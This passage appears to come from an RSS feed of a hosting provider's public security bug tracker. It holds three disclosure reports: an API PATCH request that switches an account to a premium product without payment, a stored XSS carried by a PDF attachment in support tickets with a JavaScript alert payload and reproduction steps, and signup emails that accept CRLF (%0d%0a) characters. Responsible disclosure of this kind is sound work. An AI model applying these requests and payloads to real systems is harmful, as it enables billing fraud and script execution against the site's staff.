The payment section showed no configured payment method in `07_no_payment_method_configured.png`, while billing remained at zero balance with no transaction shown in 08_billing_balance_zero_no_transaction.png.
</p>

<p>
All verification was performed only on infrastructure attached to my own account.
</p>

<p>
Impact:<br />The observed behavior suggests that authenticated modification of the account product reference may allow premium subscription state to be reflected in account configuration before billing validation is finalized through the standard subscription workflow.
</p>

<p>
Because the updated product is visible both through <acronym title="Application Programming Interface">API</acronym> responses and in the administration interface, and because premium resource values appear in the usage view during the same state, this may represent an authorization consistency issue between account configuration and billing enforcement.
</p>

<p>
I am not asserting unintended abuse, only reporting that the technical sequence appears to permit product state transition before payment-related confirmation becomes visible in the account.
</p>

<p>
Vulnerable <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> Request and Response:
</p>

<p>
Request:
</p>

<p>
PATCH /v1/account/463<strong>*/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Content-Type: application/json<br />Authorization: Basic &lt;token&gt;

{<br />&quot;product&quot;: 2011<br />}

Response:

<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 204 No Content

Verification request:

GET /v1/account/463</strong>*/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic &lt;token&gt;
</p>

<p>
Verification response excerpt:
</p>

<p>
{<br />&quot;id&quot;: &quot;…&quot;,<br />&quot;product&quot;: {<br />&quot;href&quot;: &quot;/v1/product/2011/&quot;<br />}<br />}
</p>

<p>
Subscription verification response excerpt:
</p>

<p>
{<br />&quot;product&quot;: {<br />&quot;href&quot;: &quot;/v1/product/2011/&quot;<br />},<br />&quot;price&quot;: &quot;165.000000000000000&quot;<br />}
</p>

<p>
Remediation:<br />A possible mitigation would be to validate product changes server-side against the expected subscription and billing workflow before allowing direct modification of the account object through the public <acronym title="Application Programming Interface">API</acronym>. Premium product identifiers could either be restricted from direct account PATCH operations or accepted only after confirmation that the account is already eligible for the requested subscription state through the intended billing path.
</p>

<p>
Another possible approach would be to separate product object updates from actual infrastructure activation until billing confirmation is complete.
</p>

<p>
Please let me know if any additional details would be helpful.
</p>

<p>
Best regards
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/304">
    <title>FS#304: Possible regression – Stored XSS via PDF attachment in support (similar to FS#63/131/195)</title>
    <link>https://security.alwaysdata.com/task/304</link>
    <dc:date>2026-03-16T08:51:21Z</dc:date>
    <dc:creator>DJH4CK3R</dc:creator>
     <description>

Dear Alwaysdata Security Team,



I believe I have reproduced a stored XSS via file upload in the support ticket feature at admin.alwaysdata.com, which appears similar to your previously reported tasks &amp;#160;FS#63&amp;#160;, &amp;#160;FS#131&amp;#160; and &amp;#160;FS#195&amp;#160;.



Summary Feature: Support ticket creation (/support/add/) on admin.alwaysdata.com.



Vector: Malicious PDF attachment with embedded JavaScript (created using JS2PDFInjector).



Impact: When a staff member opens the attached PDF from the ticket page, JavaScript executes in the context of admin.alwaysdata.com.



Steps to reproduce Log in to the admin panel and go to Support → Open a new ticket (https://admin.alwaysdata.com/support/add/).



Fill in Object/Subject/Message with any values (I also tested some filtered HTML/Markdown payloads which were correctly neutralized).



Attach a PDF named js_injected_poc.pdf containing embedded JS such as:app.alert(&amp;quot;DJH4CK3R&amp;quot;);app.alert(&amp;quot;XSS&amp;quot;);



Submit the ticket (I used a normal submission; using Content-Encoding: gzip also works but is not required).​Open the ticket in the support inbox: https://admin.alwaysdata.com/support/92563/#Bottom.



Click the attachment link js_injected_poc.pdf, which points to for example:https://admin.alwaysdata.com/support/92563/427563-js_injected_poc.pdf.​The PDF is rendered and the embedded JavaScript executes, showing alert dialogs “DJH4CK3R” and “XSS” coming from admin.alwaysdata.com.​



Notes about prior reports I noticed that very similar issues have been reported before:



&amp;#160;FS#63&amp;#160; – Stored XSS Via Upload Document&amp;#160;FS#131&amp;#160; – Stored XSS by PDF in Support inbox&amp;#160;FS#195&amp;#160; – Stored Cross‑Site Scripting (XSS) via File Upload in Support Ticket Feature



My PoC demonstrates that as of March 13, 2026 this vector is still exploitable via PDF attachment and direct view in the support interface. I’m fully aware this might be treated as a duplicate / regression and I’m not reporting it with bounty expectations; I mainly wanted to flag that the mitigation for those tasks may not completely cover PDF‑based payloads.



If you would like, I can provide:The exact PoC PDF fileBurp request/response logs for the ticket submissionA short video showing upload → ticket → alert execution



Thank you for your time and for keeping the platform secure.



Cordially,DJH4CK3R

</description>
    <content:encoded><![CDATA[
<p>
Dear Alwaysdata Security Team,
</p>

<p>
I believe I have reproduced a stored XSS via file upload in the support ticket feature at admin.alwaysdata.com, which appears similar to your previously reported tasks <del>&#160;<a href="https://security.alwaysdata.com/task/63?feed_type=rss1&amp;topic=clo" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#63</a>&#160;</del>, <del>&#160;<a href="https://security.alwaysdata.com/task/131?feed_type=rss1&amp;topic=clo" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#131</a>&#160;</del> and <del>&#160;<a href="https://security.alwaysdata.com/task/195?feed_type=rss1&amp;topic=clo" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#195</a>&#160;</del>.
</p>

<p>
<strong>Summary</strong> Feature: Support ticket creation (/support/add/) on admin.alwaysdata.com.
</p>

<p>
Vector: Malicious <acronym title="Portable Document Format">PDF</acronym> attachment with embedded JavaScript (created using JS2PDFInjector).
</p>

<p>
Impact: When a staff member opens the attached <acronym title="Portable Document Format">PDF</acronym> from the ticket page, JavaScript executes in the context of admin.alwaysdata.com.
</p>

<p>
<strong>Steps to reproduce</strong> Log in to the admin panel and go to Support → Open a new ticket (<a href="https://admin.alwaysdata.com/support/add/" class="urlextern" title="https://admin.alwaysdata.com/support/add/"  rel="nofollow">https://admin.alwaysdata.com/support/add/</a>).
</p>

<p>
Fill in Object/Subject/Message with any values (I also tested some filtered <acronym title="HyperText Markup Language">HTML</acronym>/Markdown payloads which were correctly neutralized).
</p>

<p>
Attach a <acronym title="Portable Document Format">PDF</acronym> named js_injected_poc.pdf containing embedded <acronym title="JavaScript">JS</acronym> such as:<br />app.alert(&quot;DJH4CK3R&quot;);<br />app.alert(&quot;XSS&quot;);
</p>

<p>
Submit the ticket (I used a normal submission; using Content-Encoding: gzip also works but is not required).<br />​<br />Open the ticket in the support inbox: <a href="https://admin.alwaysdata.com/support/92563/#Bottom" class="urlextern" title="https://admin.alwaysdata.com/support/92563/#Bottom"  rel="nofollow">https://admin.alwaysdata.com/support/92563/#Bottom</a>.
</p>

<p>
Click the attachment link js_injected_poc.pdf, which points to for example:<br /><a href="https://admin.alwaysdata.com/support/92563/427563-js_injected_poc.pdf" class="urlextern" title="https://admin.alwaysdata.com/support/92563/427563-js_injected_poc.pdf"  rel="nofollow">https://admin.alwaysdata.com/support/92563/427563-js_injected_poc.pdf</a>.<br />​<br />The <acronym title="Portable Document Format">PDF</acronym> is rendered and the embedded JavaScript executes, showing alert dialogs “DJH4CK3R” and “XSS” coming from admin.alwaysdata.com.<br />​
</p>

<p>
<strong>Notes about prior reports</strong> I noticed that very similar issues have been reported before:
</p>

<p>
<del>&#160;<a href="https://security.alwaysdata.com/task/63?feed_type=rss1&amp;topic=clo" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#63</a>&#160;</del> – Stored XSS Via Upload Document<br /><del>&#160;<a href="https://security.alwaysdata.com/task/131?feed_type=rss1&amp;topic=clo" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#131</a>&#160;</del> – Stored XSS by <acronym title="Portable Document Format">PDF</acronym> in Support inbox<br /><del>&#160;<a href="https://security.alwaysdata.com/task/195?feed_type=rss1&amp;topic=clo" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#195</a>&#160;</del> – Stored Cross‑Site Scripting (XSS) via File Upload in Support Ticket Feature
</p>

<p>
My PoC demonstrates that as of March 13, 2026 this vector is still exploitable via <acronym title="Portable Document Format">PDF</acronym> attachment and direct view in the support interface. I’m fully aware this might be treated as a duplicate / regression and I’m not reporting it with bounty expectations; I mainly wanted to flag that the mitigation for those tasks may not completely cover PDF‑based payloads.
</p>

<p>
If you would like, I can provide:<br />The exact PoC <acronym title="Portable Document Format">PDF</acronym> file<br />Burp request/response logs for the ticket submission<br />A short video showing upload → ticket → alert execution
</p>

<p>
Thank you for your time and for keeping the platform secure.
</p>

<p>
Cordially,<br />DJH4CK3R<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/306">
    <title>FS#306: Account creation with invalid email addresses / email is accepting % and %0d%0a line termination cha</title>
    <link>https://security.alwaysdata.com/task/306</link>
    <dc:date>2026-03-16T08:47:09Z</dc:date>
    <dc:creator>Waleed Anwar</dc:creator>
     <description>

Hello Team,



Summary:Alwaysdata SignUp feature is misconfigured with email parameter. Email address parameter is accepting % and %0d%0a character along with genuine email address. Using this technique alwaysdata user account can be created but cannot be verified as there is not possible to verify those invalid email accounts. Basically random use of invalid email address, attacker can create multiple accounts.



Description:As email address field always being verified with any special character (except @ and .) but here email is accepting % and line termination char %0d%0a



Steps To Reproduce1.SignUp with new alwaysdata account2.Use email address adding with character like % or %0d%0a, account will be created and you will get a account validation



3.Even if you try now to login using same above email and password then you will get account validation message.4.You can not use the same invalid email again, as it will show an error of reuse of that invalid email address



ImpactGarbage value can be stored in database using user account signup formMultiple account can be created, just like if any use has real account with his email address, then also account can be created by adding %0d%0a or % charAccount is created using invalid email address, but can not be used



Thank You,



Waleed Anwar

</description>
    <content:encoded><![CDATA[
<p>
Hello Team,
</p>

<p>
Summary:<br />Alwaysdata SignUp feature is misconfigured with email parameter. Email address parameter is accepting % and %0d%0a character along with genuine email address. Using this technique alwaysdata user account can be created but cannot be verified as there is not possible to verify those invalid email accounts. Basically random use of invalid email address, attacker can create multiple accounts.
</p>

<p>
Description:<br />As email address field always being verified with any special character (except @ and .) but here email is accepting % and line termination char %0d%0a
</p>

<p>
Steps To Reproduce<br />1.SignUp with new alwaysdata account<br />2.Use email address adding with character like % or %0d%0a, account will be created and you will get a account validation
</p>

<p>
3.Even if you try now to login using same above email and password then you will get account validation message.<br />4.You can not use the same invalid email again, as it will show an error of reuse of that invalid email address
</p>

<p>
Impact<br />Garbage value can be stored in database using user account signup form<br />Multiple account can be created, just like if any use has real account with his email address, then also account can be created by adding %0d%0a or % char<br />Account is created using invalid email address, but can not be used
</p>

<p>
Thank You,
</p>

<p>
Waleed Anwar<br />
</p>
]]></content:encoded>
  </item>
  </rdf:RDF>
